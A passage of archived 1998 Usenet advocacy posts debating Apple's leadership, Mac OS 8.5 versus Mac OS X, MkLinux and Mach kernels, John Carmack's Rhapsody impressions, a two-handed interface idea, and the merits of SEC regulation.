(e.g., "Pentium systems are due in May", Windows Sources, May 1993,
"THE LONG-AWAITED Pentium-based systems will be rolling out at the
end of May..."
-arun gupta
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 16 Jul 1998 13:18:54 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1607981318540001@sf-pm5-16-80.dialup.slip.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com> <gmgraves-1507981200570001@sf-usr1-30-158.dialup.slip.net> <macghod-1507981729390001@sdn-ar-001casbarp262.dialsprint.net>
In article <macghod-1507981729390001@sdn-ar-001casbarp262.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <gmgraves-1507981200570001@sf-usr1-30-158.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > Yes, absolutely. Knowing that a company which builds a good product
> > is screwed-up and telling the world about it is NOT exactly the same
> > thing as bashing the product that said screwed-up company builds.
> >
> > Knorr wants the Mac to stay around. He is, however, very critical of
> > Apple. And justifiably so.
> > George Graves
>
> Better watch it George, Edwin is about to call
> you a wintel troll ;)
I TRY to maintain a healthy respect for the truth in my advocacy for
the Mac. When Apple screws up they screw up. It helps no one to try
to spin it positive when it is, in reality, a disaster of the first water.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 16 Jul 1998 13:40:18 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1607981340180001@sf-pm5-16-80.dialup.slip.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net> <Josh.McKee-1407981853200001@pm3a4.rmac.net> <gmgraves-1507981228010001@sf-usr1-30-158.dialup.slip.net> <6ojb7i$90f$1@nnrp1.dejanews.com> <not-1507981748580001@5-45.phx.psn.net>
In article <not-1507981748580001@5-45.phx.psn.net>, eilersm@azstarnet.com wrote:
> In article <6ojb7i$90f$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
>
> > But there is no way that Apple can claim that MacOS 8 is their next
generation
> > operating system. It isn't even as revolutionary as the change from
System 6 +
> > multifinder -> System 7.
>
> You haven't seen an 8.5 beta or read the articles about it on MacNN
> Reality, then. 8.5 is a totally next generation operating system, a
> wuantum leapy beyond even 8.1. It will keep us very happy while we are
> waiting for Mac OS X, trust me.
Well, I'm running it and except for the V-twin search engine and the
Themes manger (without any themes in the latest Alpha), I see no
real difference between 8.1 and 8.5.
GG
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Mach Kernels, MkLinux, and Mac OS X
Date: Thu, 16 Jul 1998 16:40:18 -0500
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1607981640180001@128.84.203.149>
References: <Pine.SOL.3.96.980716142711.2583A-100000@ux7.cso.uiuc.edu>
In article <Pine.SOL.3.96.980716142711.2583A-100000@ux7.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> Is there any particularly good reason why Apple should decide to ignore
> the MkLinux kernel and write a new one with limited hardware support?
>
> What is the rationale for doing this?
MkLinux also has limited hardware support, but its limitations are on the
wrong end. MkLinux runs pretty well on older Macs, but not new ones. G3
EIDE is not correctly supported. G3 sound is not supported at all. The
video driver for RAGE is horribly slow. For awhile the G3 ethernet wasn't
supported either, but I think that may be fixed now.
MkLinux actually has better hardware support for a machine like an
8500/120 than it does for a G3/300.
Why they would not simply *add* to this is not clear to me, however.
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
What's good for Standard Oil is good for Microsoft.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 16 Jul 1998 13:29:39 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com>
In article <6oj36m$bgq$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> >Later, in my post, I said that Jobs HAS taken a dictatorial stance at
> >Apple, so I agree that he's firmly in charge NOW. But he's acting
> CEO,
> >and when he leaves (as he must) the old Apple culture will reappear
> >(as it always has).
> >
>
> Why must he leave? Why do you think that Apple's current
> board (which Steve is a member of) would allow that? Apple's board
> members should have clearly seen the light at this point. I'd expect
> that if Steve were to leave that we'd see a CEO come from the ranks
> that he has been grooming.
He has said that he will not take the job permanently. Maybe I'm being
too literal here, but doesn't that mean that he will leave at some point?
I don't think that Jobs is grooming anyone. My theory is that he is trying
to get the company in good enough shape for it to look attractive to a
buyer. For Apple to be bought by either a kindered spirit (like Sun) or a
deep pockets company (like Philips, IBM, or Motorola) would be the best
thing that could happen to either Apple or the Mac.
George Graves
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
From: shawnm@snd.net (Shawn M.)
Date: Thu, 16 Jul 1998 13:53:46 -0700
Message-ID: <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <B1CC45E8-D794A@206.165.43.3> <6od786$g3$1@server.signat.org> <joe.ragosta-1307981231290001@wil55.dol.net> <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com> <gmgraves-1507981200570001@sf-usr1-30-158.dialup.slip.net> <6oj5a0$goe$1@hole.sdsu.edu>
Organization: SND, Illchester, MD
tomlinson <etomlins@rohan.sdsu.edu> wrote:
> George Graves (gmgraves@slip.net) wrote:
>
> : management, past and present and point fingers (If I had to pick one
> : Apple personality upon which to pin the majority of its resultant
> : woes, that person would be Jean Louis Gassee. His tenure at Apple
> : is proabably the most responsible for Apple's poor marketshare today.)
>
> This is I think the second time I have seen Gassee criticised as
> chiefly responsible for Apple's more idiotic decisions. Lacking
> any knowledge of Gassee's tenure at the company, I can't judge the
> statement. What's the story? What did he do?
Gassee was NEVER the CEO of Apple. If you want to blame someone for
Apple's former mistakes and "almost demise", try taking a look at John
Scully and the person who was CEO immediately after him [name escapes me
at the moment] as two of the people who really ran the company into the
ground.
--
"All that we love deeply becomes a part of us" (author unknown)
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 16 Jul 1998 19:50:43 GMT
Organization: wazza?
Message-ID: <6ollij$h19$1@server.signat.org>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
<not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com>
<not-1407981048300001@2-25.phx.psn.net> <6okmrf$10j$3@ironhorse.plsys.co.uk>
<not-1607981039320001@2-20.phx.psn.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: not@a.valid.email.add
In <not-1607981039320001@2-20.phx.psn.net> Michael M. Eilers wrote:
> I'm sure that is true, but it still marks him as a biased source of
> information on the subject at hand. What guarantee is there that he would
> tell us that Yellow Box is dead if he heard *that* from his sources?
What guarantee is there that that Henry Norr wouldn't do the exact
opposite? In fact, he did. KB said that YB was going ahead and that it had
something to do with Apple's "java" position (whatever that is...). Henry's
statement is speculation, his opinion and nothing more - something he states
right in the article.
Meanwhile when someone from the ex-NeXT crowd dares to disagree, you accuse
them of lying about it, being biased, insulting and uninteligent. For shame.
Maury
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 16 Jul 1998 13:36:28 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1607981336280001@sf-pm5-16-80.dialup.slip.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net> <Josh.McKee-1407981853200001@pm3a4.rmac.net> <gmgraves-1507981228010001@sf-usr1-30-158.dialup.slip.net> <6ojb7i$90f$1@nnrp1.dejanews.com>
In article <6ojb7i$90f$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <gmgraves-1507981228010001@sf-usr1-30-158.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
>
> > While I agree with you in principle (Apple cannot be trusted), this
situation
> > is a little different. Apple will be making TWO parallel Mac OSes. One based
> > on OS-8 (OS-7, actually) and OS-X.
>
> But there is no way that Apple can claim that MacOS 8 is their next generation
> operating system.
They don't. Your Point?
It isn't even as revolutionary as the change from System 6 +
> multifinder -> System 7.
Again, your point?
OS8 and OS9 are compatibility OSes designed to support 601, 603 and
604 based Macs until those machines have outlived their service lives.
Nothing more. They will add new features and be able to run Carbon
modified apps, but Apple is making no claims for PMT et al.
George Graves
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Thu, 16 Jul 1998 20:53:20 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6olp80$k3v$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.p <6ol3nq$14g$1@vixen.cso.uiuc.edu>
In article <6ol3nq$14g$1@vixen.cso.uiuc.edu>,
stwillis@ews.uiuc.edu (willis sean timothy) wrote:
> Just a question to pose: Let's say a few years back someone decided to buy
> a '386 machine that was pretty standard for it's time. said person was
> going to run Win 3.1 on it, because that was the most widely supported
> graphical OS at the time. Later, in the fall of '95, they decided to
> upgrade to Win 95, but found that they needed to upgrade hardware as well.
> So they decided to purchase a 486 66MHz machine, kinda low end but with a
> good 8 or 16 megs of RAM, it wasn't too bad.
But at the time that that person chose the 386 machine, either it was not the
fastest and most expensive machine out there or they got to use the most
advanced Windows for several years (depending on the purchase date). If I
bought a 9600/350 two weeks ago, which is the fastest and most expensive Mac,
I will not be able to run the most advanced Mac OS in a year. Microsoft
offers better support for older systems than this.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Thu, 16 Jul 1998 23:11:01 +0200
From: peter.perlsoe@ngg.dk (Peter Bjørn Perlsø)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: John Carmack's .plan
Message-ID: <peter.perlsoe-1607982311020001@t8o103p56.telia.com>
References: <macghod-1607981207330001@sdn-ar-001casbarp290.dialsprint.net>
Organization: N/A
In article <macghod-1607981207330001@sdn-ar-001casbarp290.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> > Name: John Carmack
> > Email: johnc@idsoftware.com
> > Description: Programmer
> > Project: Quake Arena
> > Last Updated: 07/16/1998 02:57:05 (Central Standard Time)
> > -------------------------------------------------------------------------
> > ------ 7/15/98 -------
> > I have spent the last two days working with
> > Apple's Rhapsody DR2, and I like it a lot.
> >
> > I was dissapointed with the original DR1 release. It was very slow and
> > seemed to have added the worst elements of the mac experience (who the
> > hell came up with that windowshade minimizing?) while taking away some
> > of the strengths of NEXTSTEP.
> >
> > Things are a whole lot better in the latest release. General speed is
> > up, memory consumption is down, and the UI feels consistant and
> > productive.
> >
> > Its still not as fast as windows, and probably never will be, but I
> > think the tradeoffs are valid.
Of course he forgets that it's a Developer Release, and fra from perfect = slow.
> > There are so many things that are just fundamentally better in the
> > rhapsody design than in windows: frameworks, the yellow box apis, fat
> > binaries, buffered windows, strong multi user support, strong system /
> > local seperation, netinfo, etc.
> >
> > Right now, I think WindowsNT is the best place to do graphics
> > development work, but if the 3D acceleration issue was properly
> > addressed on rhapsody, I think that I could be happy using it as my
> > primary development platform.
> >
> > I ported the current Quake codebase to rhapsody to test out conix's beta
> > OpenGL. The game isn't really playable with the software emulated
> > OpenGL, but it functions properly, and it makes a fine dedicated server.
> >
> > We are going to try to stay on top of the portability a little better
> > for QA. Quake 2 slid a bit because we did the development on NT instead
> > of NEXTSTEP, and that made the irix port a lot more of a hassle than the
> > original glquake port.
> >
> > I plan on using the rhapsody system as a dedicated server during
> > development, and Brian will be using an Alpha-NT system for a lot of
> > testing, which should give us pretty good coverage of the portability
> > issues.
> >
> > I'm supposed to go out and have a bunch of meetings at apple next month
> > to cover games, graphics, and hardware. Various parts of apple have
> > scheduled meetings with me on three seperate occasions over the past
> > couple years, but they have always been canceled for one reason or
> > another (they laid off the people I was going to meet with once...).
> >
> > I have said some negative things about MacOs before, but my knowledge of
> > the mac is five years old. There was certainly the possibility that
> > things had improved since then, so I spent some time browsing mac
> > documentation recently. I was pretty amused. A stack sniffer. Patching
> > trap vectors. Cooperative multitasking. Application memory partitions.
> > Heh.
What a confession. But nothing new from a hardcore PC user.
> > I'm scared of MacOS X. As far as I can tell, The basic plan is to take
> > rhapsody and bolt all the MacOS APIs into the kernel. I understand that
> > that may well be a sensible biz direction, but I fear it.
What ignorance, considereing who we're talking about.
Doesn't John C. know that a kernel is only a small piece of code, a few
hundred KB's in size? The Mac OS & Carbon API's will be inplemented ON TOP
of the Mach 3 kernel - not INSIDE it.
//Peter
+--------------------------------------+
I A computer without Windows I
I is like a fish without a bicycle I
+--------------------------------------+
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy
References: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ojqpt$u6p$1@samsara0.mindspring.com> <slrn6qs9l9.860.sal@panix3.panix.com> <35AE2C81.AB098FF4@ericsson.com> <dHrr1.4009$24.23232568@news.itd.umich.edu> <35AE4D48.B45E4579@ericsson.com>
In-Reply-To: <35AE4D48.B45E4579@ericsson.com>
From: not@my.address.net
Message-ID: <Jeur1.4033$24.23345884@news.itd.umich.edu>
Date: Thu, 16 Jul 1998 21:27:05 GMT
NNTP-Posting-Date: Thu, 16 Jul 1998 17:27:05 EDT
On 07/16/98, Michael Peck wrote:
>> One problem with the idea is that reputation provides a very inefficient
>> mechanism for regulating a marketplace.
>
>Good, because I'm opposed to "regulation".
>Reputation is one of the most powerful forms of influence in existence.
>NB: influence is different from "regulation".
Verbal quibble.
We both want some mechanism that brings a measure of discipline to the
marketplace. The claim is that reputations take too long to develop for them to
be at all efficient providing the desired degree of discipline.
>> Here's an
>> analogy: We could do without meat inspectors and just leave everything up to
>> the reputation of the butcher in the marketplace. But I don't want to be the
>> one that dies from Mad Cow disease because one day my butcher got tempted to
>> buy cheap beef from England and I bought it before word got out.
>
>Why would you trust the word of your butcher on matters of beef
>distribution? A butcher is paid to dress meat, not to oversee
>international beef purchases. That's ridiculous. Personally, I'd look
>for a butcher with a sign that says "We Sell SafeMeat Products" because
>I'd know that SafeMeat is a company with a good reputation for its
>product.
>
You missed the point.
If SafeMeat in a moment of weakness is tempted to import cheap British beef, or
if my Butcher in a moment of weakness is tempted to buy from a less reputable
supplier, it could take months (or longer) before word gets out and THEIR
reputations begin to degrade. In the meantime anyone buying beef from that
butcher would be at risk of contracting Mad Cows disease.
The issue isn't how severe a sanction the degredation of their reputations would
provide. I'm prepared to grant that it would be severe. The claim is that the
lag time makes that kind of an informal sanction very inefficient.
--
invert: umich.edu jdevlin
insert: shift "2"
From: ERASE.this.dennis.scp@multiweb.nl (Dennis SCP)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: UI improvements
Date: Thu, 16 Jul 1998 23:30:32 +0200
Organization: Mac OS 8 Icon Update 1.0
Message-ID: <1dc9tdq.8dgo0ofm0ivoN@hoorn44.multiweb.net>
References: <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171>
5iBX?hr:nQb&.MA|;6*WHFudDTiUxRJ'bCt|/F#Ct|'y_(I*Emh>1BP@cvz@pT]EiG%
> Like what?
One thing I thought of several years ago was working with two hands.
Why create all those little buttons to manipulate windows and it's
contents? You have to learn all those things.
If you would have two pointers (like: pen tablet for your right hand and
mouse for your left, or vica versa ofcourse) you can manipulate objects
more like in real life.
A window would be just a frame holding contents.
- grab a window frame with one pointer to move it around.
- grab it with two pointers to resize it. It doesn't matter where you
grab it. Do it now: grab a large piece of paper with one hand you're
moving it, grab it with both hands and start folding it a bit and
imagine that it is a window you're resizing. You see, that's a lot more
natural than learning people where the resize points are.
- To move the whole contents of a window frame: hold on to the frame and
move the contents around.
- You can also move the contents of different windows in relation to
each other: hold your pointers on different contents and move one around
(or both at the same time). Very handy for fast name comparing in
listings.
Individual items within the contents can be moved in relation to each
other. Imagine rearanging photos on a piece of paper.
- What do you do when you don't want to move a picture on top of the
other but want to slide it under? You wigle it at the side, you slide
over, pull back and slide it under.
If the pointer tracking could get a bit smarter you could start tossing
items around.
- with the secondary pointer you select a folder, and with your right
hand pointer you can start tossing items into that folder. And place
your Trash in the corner of the screen and literally trow things away.
If you've never had a tablet just take a pencil. Don't move your wrist
and start trowing away those virtual items into different directions,
now look at your paper and notice that all those short lines have a
simular thickness paths. It seems implementation is't that difficult you
see, because pen tablets are pressure sensitive.
And while we're at smart tracking, think of the following:
You're dragging an item around and the destination window is obscured,
just dig it out by circling above the visible part. (have you never done
that before? "hello traffictower, the runway is obscured I'm going to
circle around for another try...":-) This can already be done, with two
pointers however you could also click the window to the front or use the
window menu. This gives you the freedom to do what you thought of first
(realising you want something you see move toward someplace else)
without having to focus to the target and refocusing again to the
subject.
Newton
Something that can be implented on top of Mac OS is the functionality of
Newton OS. To avoid that the computer is always analysing movement, a
second layer must be implemented on top of all that you see on the
screen. A tablet has at least 256 levels of pressure recognition,
between position tracking and selection a level can be chosen for
functionality as seen in Newton OS. When giving a tiny bit of pressure a
translucent tale appeares behind the pointer, and the motion will be
analised to mach known symbols. Now you can eject or trash items by
zigzaging over it, Or draw a line to select a text and change 'dennis'
into 'Dennis' by one upward strike trough the 'd'.
Dennis SCP
--
[MS Office Assistant: Uw signature is leeg. Weet u zeker dat u niets
nuttigs aan de mensheid heeft mede te delen?]
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy
References: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ojqpt$u6p$1@samsara0.mindspring.com> <slrn6qs9l9.860.sal@panix3.panix.com> <35AE2C81.AB098FF4@ericsson.com> <dHrr1.4009$24.23232568@news.itd.umich.edu> <35AE4D48.B45E4579@ericsson.com>
In-Reply-To: <35AE4D48.B45E4579@ericsson.com>
From: not@my.address.net
Message-ID: <2mur1.4035$24.23351499@news.itd.umich.edu>
Date: Thu, 16 Jul 1998 21:34:54 GMT
NNTP-Posting-Date: Thu, 16 Jul 1998 17:34:54 EDT
On 07/16/98, Michael Peck wrote:
>
>> So the idea of raising large sums of capital by exchanging equity in
>> widely held companies wouldn't even get off the ground without government
>> intervention in the marketplace.
>
>Baloney. This is like the "free markets didn't exist before government"
>argument. Investment was common practice well before legislation was
>enacted to shield investors from frivolous lawsuits.
You're a mile wide of the mark.
Frivolous lawsuits aren't the issue.
Suppose you have a meritorious claim against a partnership. At common law, you
can enforce the judgement against any of the partners. Each partner may have
only contributed $100, but your damages are not limited by that amount. If your
damages come out to $1,000/partner, you can collect the full amount. If I do
business with a partnership and there's a breach of contract, or I have a
meritorious claim at tort, my claim is against the partners, not against the
partnership.
That made it difficult to raise large sums of capital. Large sums of capital
required large numbers of investors. But no one wanted to put up money in an
enterprise over which they would have limited individual control if they would
have unlimited individual liability. You might get a partnership with two,
three, four partners. But you wouldn't have a partnership with 10,000 partners.
So, legislation was enacted to create corporations. As you point out,
shareholders in a corporation are only liable for the amount of equity they
invest. Individual shareholders have very limited control over a corporation,
but thanks to the legislation they have very limited liability: If I do
business with a corporation and there's a breach of contract, or if I have a
meritorious claim at tort, my claim is against the corporation, not against the
individual shareholders.
(The legislation actually treats the corporation as a distinct "person"; at
common law a partnership had no such standing -- partnerships couldn't sue in
their own name for example, or be named defendants in a law suit. A partnership
was nothing more than a contractual arrangement between the partners.)
The first corporations were created by special charter. I think the Hudson's
Bay company might have been the first, or if not, one of the first under British
Law. Now we have legislation that allows you to incorporate without special
dispensation. It's allowed people to raise huge amounts of private capital to
finance business ventures that never would have been possible if the investors
had to opt for a common law partnership -- think of railways and chip
fabrication plants, for example.
This sort of legislation represents a very large departure from the common law
of contract. You are, of course, welcome to petition the goverment to cease
this sort of intervention in the marketplace. You would then be in the company
of the liberal left (who want to be able to sue individual shareholders when a
corporation is responsible for a toxic spill, for example), but you can pursue
the same legislative agenda on independent grounds, and politics makes strange
bedfellows anyways.
--
invert: umich.edu jdevlin
insert: shift "2"
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Mach Kernels, MkLinux, and Mac OS X
Date: 16 Jul 1998 21:08:00 GMT
Organization: wazza?
Message-ID: <6olq3g$jeh$1@server.signat.org>
References: <Pine.SOL.3.96.980716142711.2583A-100000@ux7.cso.uiuc.edu>
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Cc: tokarek@uiuc.edu
In <Pine.SOL.3.96.980716142711.2583A-100000@ux7.cso.uiuc.edu> Pulsar wrote:
> For quite a while, MkLinux which is Linux hosted on a Mach 3.0 kernel has
> been running on PowerMac hardware.
Minor nit - Mk is based on the OSF Mk kernel. This was a development using
many of the mach 3.0 ideas, but it also has any number from the mach 4.0
project, some from XKernel, and others of their own.
> Mac OS X is supposed to succeed Rhapsody and is supposed to be based on a
> Mach 3.0 kernel.
>
> Apple has said that Mac OS X will only support PowerMac G3s and future
> PowerMacs. MkLinux already runs right now on a wide variety of PowerMacs
> (all the NuBus PowerMacs, a lot of 603e based Performas, the first
> generation PCI PowerMacs, and possibly PowerMac G3s).
>
> Is there any particularly good reason why Apple should decide to ignore
> the MkLinux kernel and write a new one with limited hardware support?
No. Let's be more specific, they should be using Mk, period. Current Mk
drivers would work unmodified.
Maury
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 16 Jul 1998 21:37:33 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6olrqt$5om$1@camel21.mindspring.com>
References: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35AE2C81.AB098FF4@ericsson.com> <dHrr1.4009$24.23232568@news.itd.umich.edu>
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In article <slrn6qs9l9.860.sal@panix3.panix.com> Salvatore Denaro,
sal@panix3.panix.com writes:
>And how is this different from the SEC setting the rules?
Please. Is this a serious question?
The difference is, of course, that one can go to another exchange, or
start another exchange if one disagrees with the rules without completely
severing oneself to all ties.
What makes five
>guys on an SEC commity "evil goverment drones" but those same five guys
>running an unregulated private exchange "shinning knights of capitalism"?
Because the SEC drones carry guns and force everyone to comply to a fixed
rigid set of rules.
>
>What about insider trading? How could exchanges stop it without the SEC?
Using the same investigatory methodologies as the SEC. Sanction being
fines or ejection from the exchange.
Of course, anyone who doesn't believe that inside trading goes on every
day on the SEC regulated exchanges hasn't done much stock trading.
>Should people be able to abuse knowledge they get under strict confidence?
Please elaborate on this point, and explain why the Statist SEC is a
better solution to exchange regulation.
>
>> Therefore, if a
>>company wants to be traded on a reputable exchange, they will comply with
>>exchange rules.
>
>What keeps these exchanges honest?
Reputation.
You do realize, for example, that the NYSE has much higher standards than
the NASDAQ pink sheets. Now why do many companies want to be listed on
NYSE? Reputation.
This set up rewards those who make a lot
>of money, not those who act responsibly.
No, the reputation of an exchange is its value. NYSE has a vested
interest in maintaining its reputation.
You might as well claim that a person should borrow lots of money and
never repay it if he wants to get rich.
Are you aware of the phenomena
>called "the prisoner's dilemma"? What would keep a short sided person from
>abusing investor confedence to make a quick kill in the market?
The exchanges have a vested interest to keep unreputatable firms off
their exchanges.
>
>> You are welcome to purchase from a reputable exchange or
>>to use one with a poor reputation to purchase speculative stocks.
>
>This existed before the SEC, it didn't work very well. The market still has
>a bad rep because of this.
Government advocates always claim every improvement is a result of their
meddling.
>
>>there were an exchange for speculative startups, these entrepreneurs
>>could get money from the broader public instead of having to give up
>>control to angels and vc's.
>------------^^^^^^
>
>And how is Libertarian blind faith in the "free market" all that different
>then blind faith in anything else? I think a middle of the road system
>with a lot of checks and balances will serve the majority better then a
>system that leans to any one side.
Libertarians do not have blind faith in "the free market". We believe
that the social instruments of voluntary exchange and cooperation are
superior to the gun, stick, baton, coercion, making others do what you
wish them to do. We feel everyone is better off under systems where
people do what they choose to do in their own best interest instead of
systems where a small group of people use force to control others
behavior against their will.
>
>>>People get fleeced frequently already now. It would be massively worse
>>>without an SEC.
>>Don't you think you ought to support this statement? Or is simply saying
>>it enough to make you believe it?
>
>Take a look at the events leading up to the great depression.
You mean the massive government injection of liquidity into the market
right before the crash, and the foolish removal of liquidity during the
crash, exacerbating and deepening its effects?
Take a look
>at some of the stock fixing that has gone on in the unregulated exchanges
>of the former Soviet block nations. If you want URL's or ISBN numbers I'll
>get them for you.
So brand new capitalists who just left a socialist system tend to be
rubes? This is a surprise to you? They will learn, if they continue to
have a reasonable level of freedom in their country.
Matthew Cromer
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 16 Jul 1998 22:01:09 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6olt75$496$1@lwnws01.ne.highway1.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <6ol1f1$hcb$2@lwnws01.ne.highway1.com> <35ae1722.9194881@news.euronet.be> <6old6f$ogr$2@lwnws01.ne.highway1.com> <35ae441d.20709989@news.euronet.be>
drooling.idiot.nospam@euronet.be (Little Piggy) wrote:
> Sorry but MS did not start against IBM, they became big
> _with_the_help_ IBM. In fact, probably the only reason MS is in such a
> dominant position is _because_ of IBM!
That's your read on history, not mine. Mine is that IBM helped shoot
